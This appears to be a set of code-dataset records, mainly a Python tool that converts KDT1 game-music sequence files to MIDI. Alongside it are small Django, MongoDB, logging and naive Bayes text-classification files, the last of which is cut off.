+{"seq_id":"641573811","text":"# Written by Nisto\n# Developed under Python 3.4.2\n\nimport os\nimport sys\nimport struct\nimport math\n\nKDT_FILESIZE_LIMIT = 52428800 # 50 MiB\nKDT_HEADER_SIZE = 0x10\nKDT_OFF_ID = 0x00\nKDT_OFF_FILESIZE = 0x04\nKDT_OFF_TICKDIV = 0x08\nKDT_OFF_RESV1 = 0x0A\nKDT_OFF_TRACKS = 0x0C\nKDT_OFF_RESV2 = 0x0E\nKDT_OFF_SIZETBL = 0x10\n\n# KDT_EVT_SET_CHAN_VOL = 0x87\n# KDT_EVT_SET_PANNING = 0x8A\n# KDT_EVT_SET_CTRL_VOL = 0x8B\n# KDT_EVT_SET_CHANNEL = 0xC6\n# KDT_EVT_SET_TEMPO = 0xC7\n# KDT_EVT_PITCH_BEND = 0xC8\n# KDT_EVT_SET_INSTRUMENT = 0xC9\n# KDT_EVT_NOTE_OFF_STOP = 0xCA\n# KDT_EVT_NOTE_OFF_CONT = 0xCB\n# KDT_EVT_SET_TEMPO_LO = 0xCC\n# KDT_EVT_SET_TEMPO_HI = 0xCD\n# KDT_EVT_RESERVED = 0xCE\n# KDT_EVT_END_OF_TRACK = 0xFF\n\nclass KDT:\n def __init__(self, path, log=False, convert=False):\n self.path = path\n self.log = log\n self.convert = convert\n\n if os.path.getsize(self.path) > KDT_FILESIZE_LIMIT:\n sys.exit(\"ERROR: File too large: %s\" % self.path)\n\n with open(self.path, \"rb\") as kdt:\n self.buf = kdt.read()\n\n if self.buf[KDT_OFF_ID:KDT_OFF_ID+4] != b\"KDT1\" \\\n or os.path.getsize(self.path) < KDT_HEADER_SIZE :\n sys.exit(\"ERROR: Not a valid KDT1 file: %s\" % self.path)\n\n self.filesize = get_u32_le(self.buf, KDT_OFF_FILESIZE)\n self.tickdiv = get_u16_le(self.buf, KDT_OFF_TICKDIV)\n self.tracks = get_u16_le(self.buf, KDT_OFF_TRACKS)\n\n if self.filesize > os.path.getsize(path):\n sys.exit(\"ERROR: Indicated filesize exceeds actual filesize: %s\" % self.path)\n\n self.buf = bytearray(self.buf[:self.filesize])\n\n if self.convert:\n self.midi = bytearray(self.filesize * 4)\n\n if self.tracks > 0:\n\n self.offset = KDT_OFF_SIZETBL\n\n self.trk_size_tbl = []\n\n for trknum in range(self.tracks):\n self.trk_size_tbl.append( get_u16_le(self.buf, self.offset) )\n self.offset += 2\n\n self.trk_off_tbl = []\n\n for trknum in range(self.tracks):\n self.trk_off_tbl.append(self.offset)\n self.offset += self.trk_size_tbl[trknum]\n\n self.set_track(0)\n\n def set_track(self, trknum):\n self.trknum = trknum\n self.trk_size = self.trk_size_tbl[trknum]\n self.trk_off_start = self.trk_off_tbl[trknum]\n self.trk_off_end = self.trk_off_start + self.trk_size\n self.offset = self.trk_off_start\n self.channel = 0\n self.running = 0 # sequence running status (expect delta-time when zero - note or command otherwise)\n\n def read_cmd(self):\n cmd = self.buf[self.offset]\n\n if self.log: print(\"0x%04X COMMAND Command: 0x%02X/0x%02X \" % (self.offset - self.trk_off_start, cmd, cmd & 0x7F), end=\"\")\n\n # all commands except 0xCA and 0xCB take a parameter\n if cmd == 0xCA:\n self.running = 0\n self.offset += 1\n elif cmd == 0xCB:\n self.running = 1\n self.offset += 1\n else:\n param = self.buf[self.offset+1]\n self.running = param & 0x80\n self.offset += 2\n\n # Might be worth looking into:\n # http://web.archive.org/web/20151016183420/http://wiki.spinout182.com/w/Music_Sequences\n # https://sites.google.com/site/messiaen64/parsed-music-files\n\n if cmd == 0x86: # Sets reverb type (hall, room, etc.) on first call, volume/depth on next call (e.g. 86[tt], 86[vv]) ... I think?\n # param & 0x??\n if self.log: print(\"(Set Reverb Type), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n self.moff += 4\n\n elif cmd == 0x87: # Set main / channel volume\n if self.log: print(\"(Set Main/Channel Volume), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n # self.midi[self.moff+2] = int(127.0 * math.sqrt((param & 0x7F) / 127.0))\n self.midi[self.moff+0] = 0xB0 | self.channel\n self.midi[self.moff+1] = 0x07\n self.midi[self.moff+2] = param & 0x7F\n self.moff += 3\n\n elif cmd == 0x8A: # Set panning\n if self.log: print(\"(Set Panning), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n # self.midi[self.moff+2] = int(127.0 * math.sqrt((param & 0x7F) / 127.0))\n self.midi[self.moff+0] = 0xB0 | self.channel\n self.midi[self.moff+1] = 0x0A\n self.midi[self.moff+2] = param & 0x7F\n self.moff += 3\n\n elif cmd == 0x8B: # Set controller volume (\"expression is a percentage of the channel volume\"?)\n if self.log: print(\"(Set Controller Volume), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n # self.midi[self.moff+2] = int(127.0 * math.sqrt((param & 0x7F) / 127.0))\n self.midi[self.moff+0] = 0xB0 | self.channel\n self.midi[self.moff+1] = 0x0B\n self.midi[self.moff+2] = param & 0x7F\n self.moff += 3\n\n elif cmd == 0xC6: # Set channel\n if self.log: print(\"(Set Channel), Parameter: 0x%02X\" % (param & 0x0F))\n if self.convert:\n # the tenth channel is the \"drum channel\" and could result in a\n # quiet track (both in Awave and fb2k)\n self.channel = param & 0x0F\n if self.channel >= 9:\n self.channel += 1\n self.channel &= 0x0F\n self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n self.moff += 4\n\n elif cmd == 0xC7: # Set tempo\n if self.log: print(\"(Set Tempo), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n # this equation is taken from the Silent Hill 2 driver;\n # Suikoden 2 and Silent Hill 1 both add by 2 instead of 10;\n # I don't know why, or what it represents, but adding by 10\n # seems to give a more accurate result for ALL games;\n # change if needed, and please report\n bpm = ((param & 0x7F) * 2) + 10\n\n # micrsoseconds per quarter-note = microseconds per minute / beats per minute\n mpqn = 60000000 // bpm\n\n self.midi[self.moff+0] = 0xFF\n self.midi[self.moff+1] = 0x51\n self.midi[self.moff+2] = 0x03\n self.midi[self.moff+3] = (mpqn >> 16) & 0xFF\n self.midi[self.moff+4] = (mpqn >> 8) & 0xFF\n self.midi[self.moff+5] = (mpqn >> 0) & 0xFF\n self.moff += 6\n\n elif cmd == 0xC8: # Pitch bend\n if self.log: print(\"(Pitch Bend), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n pitch = (param & 0x7F) << 7\n self.midi[self.moff+0] = 0xE0 | self.channel\n self.midi[self.moff+1] = pitch & 0x7F # LSB\n self.midi[self.moff+2] = pitch >> 7 # MSB\n self.moff += 3\n\n elif cmd == 0xC9: # Set instrument\n if self.log: print(\"(Set Instrument), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n self.midi[self.moff+0] = 0xC0 | self.channel\n self.midi[self.moff+1] = param & 0x7F\n self.moff += 2\n\n elif cmd == 0xCA: # Note-off last note (reset running status)\n if self.log: print(\"(Note-off + reset running status)\")\n if self.convert:\n self.midi[self.moff+0] = 0x80 | self.channel\n self.midi[self.moff+1] = self.note\n self.midi[self.moff+2] = 0\n self.moff += 3\n\n elif cmd == 0xCB: # Note-off last note (keep running status)\n if self.log: print(\"(Note-off + keep running status)\")\n if self.convert:\n self.midi[self.moff+0] = 0x80 | self.channel\n self.midi[self.moff+1] = self.note\n self.midi[self.moff+2] = 0\n self.moff += 3\n\n elif cmd == 0xCC: # Set tempo, low (added sometime in 2001)\n # (param & 0x7F) & 0xFF\n if self.log: print(\"(Set Tempo, BPM=0-127), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n bpm = param & 0x7F\n mpqn = 60000000 // bpm\n self.midi[self.moff+0] = 0xFF\n self.midi[self.moff+1] = 0x51\n self.midi[self.moff+2] = 0x03\n self.midi[self.moff+3] = (mpqn >> 16) & 0xFF\n self.midi[self.moff+4] = (mpqn >> 8) & 0xFF\n self.midi[self.moff+5] = (mpqn >> 0) & 0xFF\n self.moff += 6\n\n elif cmd == 0xCD: # Set tempo, high (added sometime in 2001)\n # (param & 0x7F) | 0x80\n if self.log: print(\"(Set Tempo, BPM=128-255), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n bpm = (param & 0x7F) | 0x80\n mpqn = 60000000 // bpm\n self.midi[self.moff+0] = 0xFF\n self.midi[self.moff+1] = 0x51\n self.midi[self.moff+2] = 0x03\n self.midi[self.moff+3] = (mpqn >> 16) & 0xFF\n self.midi[self.moff+4] = (mpqn >> 8) & 0xFF\n self.midi[self.moff+5] = (mpqn >> 0) & 0xFF\n self.moff += 6\n\n elif cmd == 0xCE: # Reserved (does nothing) as of 2002\n if self.log: print(\"(Reserved), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n self.moff += 4\n\n elif cmd == 0xDB: # Reverb send amount? (or may at least affect reverb somehow it seems)\n # param & 0x??\n if self.log: print(\"(Reverb Send Amount?), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n # self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n # self.moff += 4\n self.midi[self.moff+0] = 0xB0 | self.channel\n self.midi[self.moff+1] = 0x5B\n self.midi[self.moff+2] = param & 0x7F\n self.moff += 3\n\n elif cmd == 0xF6: # Tune request?\n # param & 0x??\n if self.log: print(\"(Tune Request?), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert:\n self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n self.moff += 4\n\n elif cmd == 0xFF: # End of track\n if self.log: print(\"(End of track)\")\n if self.convert:\n self.midi[self.moff+0] = 0xFF\n self.midi[self.moff+1] = 0x2F\n self.midi[self.moff+2] = 0x00\n self.moff += 3\n\n else:\n if self.log: print(\"(Unknown), Parameter: 0x%02X\" % (param & 0x7F))\n if self.convert: # Remaining commands are probably a subset of Sony's SEQp or SCEIMidi format\n self.midi[self.moff:self.moff+4] = b\"\\xFF\\x01\\x01\\x3F\"\n self.moff += 4\n\n def read_note(self):\n self.note = self.buf[self.offset] & 0x7F\n self.velocity = self.buf[self.offset+1] & 0x7F\n self.running = self.buf[self.offset+1] & 0x80\n if self.log: \n if self.velocity:\n print(\"0x%04X NOTE-ON Key: 0x%02X, Velocity: 0x%02X\" % (self.offset - self.trk_off_start, self.note, self.velocity))\n else:\n print(\"0x%04X NOTE-OFF Key: 0x%02X\" % (self.offset - self.trk_off_start, self.note))\n if self.convert:\n self.midi[self.moff+0] = (0x90 if self.velocity else 0x80) | self.channel\n self.midi[self.moff+1] = self.note\n self.midi[self.moff+2] = self.velocity\n # self.midi[self.moff+2] = int(127.0 * math.sqrt(self.velocity / 127.0))\n self.moff += 3\n self.offset += 2\n\n def read_delta_time(self):\n if self.log: print(\"0x%04X DELTA-TIME Time: \" % (self.offset - self.trk_off_start), end=\"\")\n if self.convert:\n self.midi[self.moff] = self.buf[self.offset]\n self.moff += 1\n self.time = self.buf[self.offset] & 0x7F\n more = self.buf[self.offset] & 0x80\n self.offset += 1\n while more:\n if self.convert:\n self.midi[self.moff] = self.buf[self.offset]\n self.moff += 1\n self.time <<= 7\n self.time |= self.buf[self.offset] & 0x7F\n more = self.buf[self.offset] & 0x80\n self.offset += 1\n if self.log: print(\"%d\" % self.time)\n self.running = 1\n\n def read_seq(self):\n if not self.running:\n self.read_delta_time()\n else:\n if self.buf[self.offset] & 0x80:\n self.read_cmd()\n else:\n self.read_note()\n\n # instead of having delta-times of 0 between events, KDT1 uses the\n # MSB in the command parameter / note velocity to save some bytes\n if self.convert:\n if self.running:\n if self.offset < self.trk_off_end:\n self.midi[self.moff] = 0\n self.moff += 1\n\n def find_cmd(self, cmd):\n cmd |= 0x80\n\n while self.offset < self.trk_off_end:\n if self.running:\n if self.buf[self.offset] == cmd:\n return True\n self.read_seq()\n\n return False\n\ndef get_u16_le(buf, offset=0):\n return struct.unpack(\"H\", n & 0xFFFF)\n\ndef put_u32_be(n):\n return struct.pack(\">I\", n & 0xFFFFFFFF)\n\ndef isnum(n):\n try:\n int(n)\n except ValueError:\n return False\n return True\n\ndef print_bgm_type(kdt):\n dynamic = False\n for trknum in range(2, kdt.tracks): # skip tracks 0 and 1\n for cmd in [0x87, 0x8B]:\n kdt.set_track(trknum)\n if kdt.find_cmd(cmd):\n volume = kdt.buf[kdt.offset+1] & 0x7F\n if volume == 0:\n dynamic = True\n if dynamic:\n print(\"Dynamic: %s\" % os.path.basename(kdt.path))\n else:\n print(\"Standard: %s\" % os.path.basename(kdt.path))\n\ndef print_initial_track_volumes(kdt):\n basename = os.path.basename(kdt.path)\n for trknum in range(kdt.tracks):\n for cmd in [0x87, 0x8B]:\n kdt.set_track(trknum)\n if kdt.find_cmd(cmd):\n voltype = \"main\" if cmd == 0x87 else \"ctrl\"\n volume = kdt.buf[kdt.offset+1] & 0x7F\n print(\"%s: track %02d %s volume = 0x%02X\" % (basename, trknum, voltype, volume))\n\ndef print_note_event_counts(kdt):\n basename = os.path.basename(kdt.path)\n for trknum in range(2, kdt.tracks): # skip tracks 0 and 1\n events = 0\n kdt.set_track(trknum)\n while kdt.offset < kdt.trk_off_end:\n if kdt.running:\n if kdt.buf[kdt.offset] < 0x80:\n events += 1\n kdt.read_seq()\n\n print(\"%s: %d note events in track %02d\" % (basename, events, trknum))\n # if events == 0:\n # print(\"%s: no note events in track %02d\" % (basename, trknum))\n\n# Prints all sequence events as human-readable lines for each track\ndef print_events(kdt):\n kdt.log = True\n for trknum in range(kdt.tracks):\n print(\"TRACK %02d\" % trknum)\n print(\"=\" * 80)\n print()\n kdt.set_track(trknum)\n while kdt.offset < kdt.trk_off_end:\n kdt.read_seq()\n print(\"\\n\" * 5)\n\n# Creates separate KDT files for each track (I suck at naming stuff :P)\ndef demute_and_isolate_all_tracks_to_separate_files(kdt):\n out_path = os.path.splitext(kdt.path)[0]\n for filenum in range(kdt.tracks):\n out_buf = kdt.buf\n for trknum in range(kdt.tracks):\n for cmd in [0x87, 0x8B]: # try finding main/channel vol first, then controller vol\n kdt.set_track(trknum)\n if kdt.find_cmd(cmd):\n if trknum < 2 or trknum == filenum:\n if not out_buf[kdt.offset+1] & 0x7F:\n out_buf[kdt.offset+1] |= 0x6E # demute (ALL initially demuted tracks in Silent Hill except track 2 of T.KDT and T2.KDT are initialized to 0x6E)\n else:\n out_buf[kdt.offset+1] &= 0x80 # isolate (keep status bit intact)\n\n with open(\"%s (track %02d).KDT\" % (out_path, filenum), \"wb\") as out:\n out.write(out_buf)\n\n# Creates a new KDT file with specified tracks demuted\ndef demute_and_isolate_specified_tracks_to_single_file(kdt, demute_args):\n if not demute_args:\n sys.exit(\"ERROR: No tracks to demute supplied\")\n\n demute = []\n\n for arg in demute_args:\n if \"-\" in arg:\n if arg.count(\"-\") == 1:\n start, end = arg.split(\"-\")\n if isnum(start) and isnum(end):\n start = int(start)\n end = int(end)\n\n if start > end:\n start, end = end, start\n\n if start > kdt.tracks-1:\n start = kdt.tracks-1 if kdt.tracks else 0\n\n if end > kdt.tracks-1:\n end = kdt.tracks-1 if kdt.tracks else 0\n\n if start == end:\n if start not in demute:\n demute.append(start)\n else:\n for n in range(start, end+1):\n if n not in demute:\n demute.append(n)\n else:\n sys.exit(\"Invalid argument: %s\" % arg)\n else:\n sys.exit(\"Invalid argument: %s\" % arg)\n elif isnum(arg):\n n = int(arg)\n\n if n > kdt.tracks-1:\n n = kdt.tracks-1 if kdt.tracks else 0\n\n if n not in demute:\n demute.append(n)\n else:\n sys.exit(\"Invalid argument: %s\" % arg)\n\n out_buf = kdt.buf\n\n for trknum in range(kdt.tracks):\n for cmd in [0x87, 0x8B]:\n kdt.set_track(trknum)\n if kdt.find_cmd(cmd):\n if trknum < 2 or trknum in demute:\n if not out_buf[kdt.offset+1] & 0x7F:\n out_buf[kdt.offset+1] |= 0x6E\n else:\n out_buf[kdt.offset+1] &= 0x80\n\n i = 0\n tracks = []\n demute = sorted(demute)\n\n while i < len(demute):\n start = end = demute[i]\n i += 1\n while end + 1 in demute:\n end += 1\n i += 1\n if start == end:\n tracks.append(\"%02d\" % start)\n else:\n tracks.append(\"%02d-%02d\" % (start, end))\n\n if len(demute) == 1:\n out_path = \"%s (track %s).KDT\" % (os.path.splitext(kdt.path)[0], tracks[0])\n else:\n out_path = \"%s (tracks %s).KDT\" % (os.path.splitext(kdt.path)[0], \", \".join(tracks))\n\n with open(out_path, \"wb\") as out:\n out.write(out_buf)\n\ndef kdt2midi(path):\n kdt = KDT(path, convert=True)\n\n kdt.midi[0x00:0x04] = b\"MThd\"\n kdt.midi[0x04:0x08] = put_u32_be(6) # mthd size\n kdt.midi[0x08:0x0A] = put_u16_be(1) # midi type\n kdt.midi[0x0A:0x0C] = put_u16_be(kdt.tracks)\n kdt.midi[0x0C:0x0E] = put_u16_be(kdt.tickdiv)\n kdt.moff = 0x0E\n\n for trknum in range(kdt.tracks):\n kdt.set_track(trknum)\n\n mtrk_off_start = kdt.moff\n\n kdt.midi[kdt.moff:kdt.moff+4] = b\"MTrk\" # id\n kdt.moff += 4\n kdt.midi[kdt.moff:kdt.moff+4] = put_u32_be(0) # size (tmp)\n kdt.moff += 4\n kdt.midi[kdt.moff+0] = 0x00 # delta time\n kdt.midi[kdt.moff+1] = 0xFF # meta event\n kdt.midi[kdt.moff+2] = 0x03 # event: track/seq name\n kdt.midi[kdt.moff+3] = 0x08 # size\n kdt.moff += 4\n kdt.midi[kdt.moff:kdt.moff+8] = bytes(\"Track %02d\" % trknum, encoding=\"ascii\")\n kdt.moff += 8\n\n while kdt.offset < kdt.trk_off_end:\n kdt.read_seq()\n\n kdt.midi[mtrk_off_start+4:mtrk_off_start+8] = put_u32_be( kdt.moff - (mtrk_off_start + 8) )\n\n with open(os.path.splitext(kdt.path)[0] + \".midi\", \"wb\") as midi:\n midi.write(kdt.midi[0:kdt.moff])\n\ndef main(argc=len(sys.argv), argv=sys.argv):\n path = os.path.realpath(argv[1])\n\n if not os.path.exists(path):\n sys.exit(\"ERROR: Invalid path\")\n\n # for filename in os.listdir(path):\n # fp = os.path.join(path, filename)\n # found = False\n # if os.path.splitext(fp)[1].upper() == \".KDT\":\n # kdt = KDT(fp)\n # for track in range(2, kdt.tracks):\n # kdt.set_track(track)\n # if kdt.find_cmd(0xC8):\n # print(\"Found pitch bend in track %02d of %s\" % (track, filename))\n # found = True\n # if found:\n # print(\"\\n\")\n\n # if os.path.isdir(path):\n # for filename in os.listdir(path):\n # filepath = os.path.join(path, filename)\n # if os.path.splitext(filename)[1].upper() == \".KDT\":\n # # print_note_event_counts(KDT(filepath))\n # print_initial_track_volumes(KDT(filepath))\n # #if os.path.splitext(filename)[1].upper() == \".TD\":\n # # with open(filepath, \"rb\") as td:\n # # with open(\"%s.kdt\" % os.path.splitext(filepath)[0], \"wb\") as kdt:\n # # kdt.write(td.read()[0x30:])\n # else:\n # sys.exit(\"ERROR: Expected a directory path\")\n # print_initial_track_volumes(KDT(path))\n\n # demute_and_isolate_all_tracks_to_separate_files(KDT(path))\n\n # demute_and_isolate_specified_tracks_to_single_file(KDT(path), argv[2:])\n\n # print_events(KDT(path))\n\n kdt2midi(path)\n\n return 0\n\nif __name__==\"__main__\":\n main()\n","sub_path":"kdt-tool.py","file_name":"kdt-tool.py","file_ext":"py","file_size_in_byte":22177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"88679897","text":"from typing import Union\n\nfrom dependency import User, user_collection, image_collection, PAGINATION_PAGE_SIZE, UniversalMLImage\nimport math\n\n\n# ---------------------------\n# User Database Interactions\n# ---------------------------\n\n\ndef add_user_db(user: User) -> dict:\n \"\"\"\n Add a new user to the database.\n \"\"\"\n\n # User types define permissions.\n if user.roles is None:\n roles = []\n\n if not user_collection.find_one({\"username\": user.username}):\n user_collection.insert_one(user.dict())\n return {'status': 'success', 'detail': 'account with username [' + str(user.username) + '] created.'}\n else:\n return {'status': 'failure', 'detail': 'Account with this username already exists'}\n\n\ndef get_user_by_name_db(username: str) -> Union[User, None]:\n \"\"\"\n Finds a user in the database by a given username\n :param username: username of user\n :return: User with successful record or None\n \"\"\"\n if not user_collection.find_one({\"username\": username}):\n return None\n\n database_result = user_collection.find_one({\"username\": username})\n user_object = User(**database_result)\n return user_object\n\n\ndef set_user_roles_db(username: str, updated_roles: list) -> bool:\n \"\"\"\n Sets the roles for a given user\n :param username: Username of user that will have roles modified\n :param updated_roles: Array of roles that user will now have\n :return: Success: True or False\n \"\"\"\n if not user_collection.find_one({\"username\": username}):\n return False\n\n user_collection.update_one({'username': username}, {'$set': {'roles': updated_roles}})\n return True\n\n\n# ---------------------------\n# Image Database Interactions\n# ---------------------------\n\n\ndef add_image_db(image: UniversalMLImage):\n \"\"\"\n Adds a new image to the database based on the UniversalMLImage model.\n \"\"\"\n\n if not image_collection.find_one({\"hash_md5\": image.hash_md5}):\n image_collection.insert_one(image.dict())\n\n\ndef add_user_to_image(image: UniversalMLImage, username: str):\n \"\"\"\n Adds a user account to an image. This is used to track what users upload images\n :param image: UniversalMLImage to update\n :param username: Username of user who is accessing image\n :return: None\n \"\"\"\n if image_collection.find_one({\"hash_md5\": image.hash_md5}):\n existing_users = image_collection.find_one({\"hash_md5\": image.hash_md5})['users']\n if username not in existing_users: # Only update if not in list already\n image_collection.update_one(\n {\"hash_md5\": image.hash_md5},\n {'$set': {'users': [existing_users, username]}}\n )\n\n\ndef get_images_from_user_db(username: str, page: int = -1):\n \"\"\"\n Returns a list of image hashes associated with the username. If a page number is provided, will return\n PAGINATION_PAGE_SIZE\n :param page: Page to return of results. Will return all if page is -1\n :param username: Username of user to get images for\n :return: Array of image hashes, total pages\n \"\"\"\n user = get_user_by_name_db(username)\n if not user: # If user does not exist, return empty\n return [], 0\n\n if page < 0:\n result = list(image_collection.find({\"users\": username}, {\"_id\"}))\n else:\n # We use this for actual db queries. Page 1 = index 0\n page_index = page - 1\n result = list(image_collection.find({\"users\": username}, {\"_id\"}).skip(PAGINATION_PAGE_SIZE * page_index).limit(\n PAGINATION_PAGE_SIZE))\n\n # Finally convert the dict of results to a flat list\n result = [image_map['_id'] for image_map in result]\n return result, math.ceil(len(list(image_collection.find({\"users\": username}, {\"_id\"}))) / PAGINATION_PAGE_SIZE)\n\n\ndef get_models_from_image_db(image: UniversalMLImage, model_name=\"\"):\n projection = {\n \"_id\": 0,\n \"models\": 1\n }\n\n if not image_collection.find_one({\"hash_md5\": image.hash_md5}):\n return {}\n\n if model_name != \"\":\n results = image_collection.find_one({\"hash_md5\": image.hash_md5}, projection)\n return {model_name: results['models'][model_name]}\n else:\n return image_collection.find_one({\"hash_md5\": image.hash_md5}, projection)['models']\n\n\ndef get_image_by_md5_hash_db(image_hash) -> Union[UniversalMLImage, None]:\n if not image_collection.find_one({\"hash_md5\": image_hash}):\n return None\n\n result = image_collection.find_one({\"hash_md5\": image_hash})\n result.pop('_id')\n return UniversalMLImage(**result)\n","sub_path":"server/db_connection.py","file_name":"db_connection.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"629783687","text":"from rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom upday.authentication.student_authentication import StudentAuthentication\nfrom upday.modules.common.service.encrypt_service import EncryptService\nfrom upday.modules.community.serializer.like_serializer import TriggerValidator, CancelValidator\nfrom upday.modules.community.service.like_service import LikeService\nfrom upday.permission.basic_permission import BasicPermission\n\nencrypt_handler = EncryptService()\nlike_handler = LikeService()\n\n\nclass TriggerView(APIView):\n \"\"\"\n 点击喜欢帖子\n \"\"\"\n authentication_classes = (StudentAuthentication,)\n permission_classes = (BasicPermission,)\n\n def post(self, request, *args, **kwargs):\n validator = TriggerValidator(data=request.data, context={'request': request})\n validator.is_valid(raise_exception=True)\n conclusion = validator.validated_data['conclusion']\n student = request.user\n like_handler.create_like_and_add_num(student=student, conclusion=conclusion)\n # 计算今日点赞量,并增加能量值\n like_handler.check_and_add_achievement(student)\n\n return Response(\n data={'result': 'Success'}, content_type='application/json'\n )\n\n\nclass CancelView(APIView):\n \"\"\"\n 取消帖子\n \"\"\"\n authentication_classes = (StudentAuthentication,)\n permission_classes = (BasicPermission,)\n\n def post(self, request, *args, **kwargs):\n validator = CancelValidator(data=request.data, context={'request': request})\n validator.is_valid(raise_exception=True)\n conclusion = validator.validated_data['conclusion']\n like = validator.validated_data['like']\n student = request.user\n like_handler.delete_and_subtract_num_and_check_achievement(like, student, conclusion=conclusion)\n\n return Response(\n data={'result': 'Success'}, content_type='application/json'\n )\n","sub_path":"upday/modules/community/views/like_views.py","file_name":"like_views.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"485287927","text":"\"\"\"QuerySetTesting URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom queryApp.views import *\n\nurlpatterns = [\n path('', data_send, name=\"home\"),\n path('data', data_load, name=\"data\"),\n path('chart', chart, name=\"data\"),\n path('data//', detail_view_via_form, name=\"customers\"),\n path('dataq//', detail_view, name=\"customersq\"),\n path('customer_saved', updateUser.as_view(), name=\"customer_saved\"),\n path('map', map, name=\"customers\"),\n]\n","sub_path":"queryApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"150183394","text":"class Formatter():\n \n def __init__(self, arg):\n self.arg = arg\n\n def get_filth_type(self):\n return f'Type: {str(type(self.arg))}'\n\nclass DrinkFormatter(Formatter):\n \n def __init__(self, json: dict):\n if(isinstance(json, dict) != True):\n raise TypeError('The argument must be of type dict')\n self.json = json\n Formatter.__init__(self, json)\n\n def make_ingredients_string(self):\n ingredients = [self.json.get(ing) for ing in self.json if 'Ingredient' in ing and self.json.get(ing) is not None]\n measurements = [self.json.get(measure) for measure in self.json if 'Measure' in measure and self.json.get(measure) is not None]\n if(len(measurements) == 0):\n return ingredients\n ingredient_list = []\n for i in range(len(ingredients)):\n if(i < len(measurements)):\n ingredient_list.append(measurements[i].strip() + \" \" + ingredients[i])\n elif(ingredients[i] == ' '):\n pass\n else:\n ingredient_list.append(ingredients[i])\n return ingredient_list\n\n def __repr__(self):\n return f'DrinkFormatter Arg Type: {str(type(self.json))}'","sub_path":"util/Formatter.py","file_name":"Formatter.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"64246051","text":"import logging\n\nlog_levels = {\n 'ERROR': logging.ERROR,\n 'WARNING': logging.WARNING,\n 'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'CRITICAL': logging.CRITICAL,\n 'NOTSET': logging.NOTSET,\n}\n\ndef enc_logger(logger, log_config):\n logging_format = '[%(levelname)s] %(asctime)-15s:%(message)s'\n Formatter = logging.Formatter(fmt=logging_format)\n log_level = log_levels.get(log_config.get('log_level'))\n file_handler = logging.FileHandler(log_config.get('log_file'))\n file_handler.setLevel(log_levels.get('DEBUG'))\n file_handler.setFormatter(Formatter)\n logger.addHandler(file_handler)\n\n","sub_path":"OAuth2/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"188276955","text":"import csv\r\nimport numpy as np\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom yellowbrick.text import FreqDistVisualizer\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom pycm import *\r\n\r\n# An example of natural language processing\r\n\r\n\r\nwith open('train.tsv','r') as f:\r\n\treader = csv.reader(f,delimiter='\\t')\r\n\tyval = []\r\n\txval = []\r\n\tfor row in reader:\r\n\t\tyval.append(row[0])\r\n\t\txval.append(row[1])\r\n\t\t\r\nvectorizer = CountVectorizer()\r\ndocs = vectorizer.fit_transform(xval)\r\nfeatures = vectorizer.get_feature_names()\r\nvisualizer = FreqDistVisualizer(features=features)\r\nvisualizer.fit(docs)\r\nvisualizer.poof()\r\n\r\npipe = Pipeline([('TfidVec', TfidfVectorizer(max_features=300)),\r\n ('bayes' , MultinomialNB(multi_class='auto')), ])\r\n\r\nparams = {'TfidVec__max_df': [1.0, 0.9],\r\n 'TfidVec__min_df': [0.1,0.0],\r\n 'bayes__alpha' : np.linspace(0.6,1.0,5)}\r\n\t\t\t\r\nconvert = GridSearchCV(pipe,params)\t\t\t\r\nmodel = convert.fit( xval, yval )\r\nprint('score is', model.score(xval, yval))\r\n#print(model)\r\n\r\nwith open('test.tsv','r') as f:\r\n\treader = csv.reader(f)\r\n\tsample_x = []\r\n\tfor row in reader:\r\n\t\tsample_test.append(','.join(row))\r\n\r\ny_pred = model.predict(sample_test)\r\n\r\ncm = ConfusionMatrix(actual_vector=y_val, 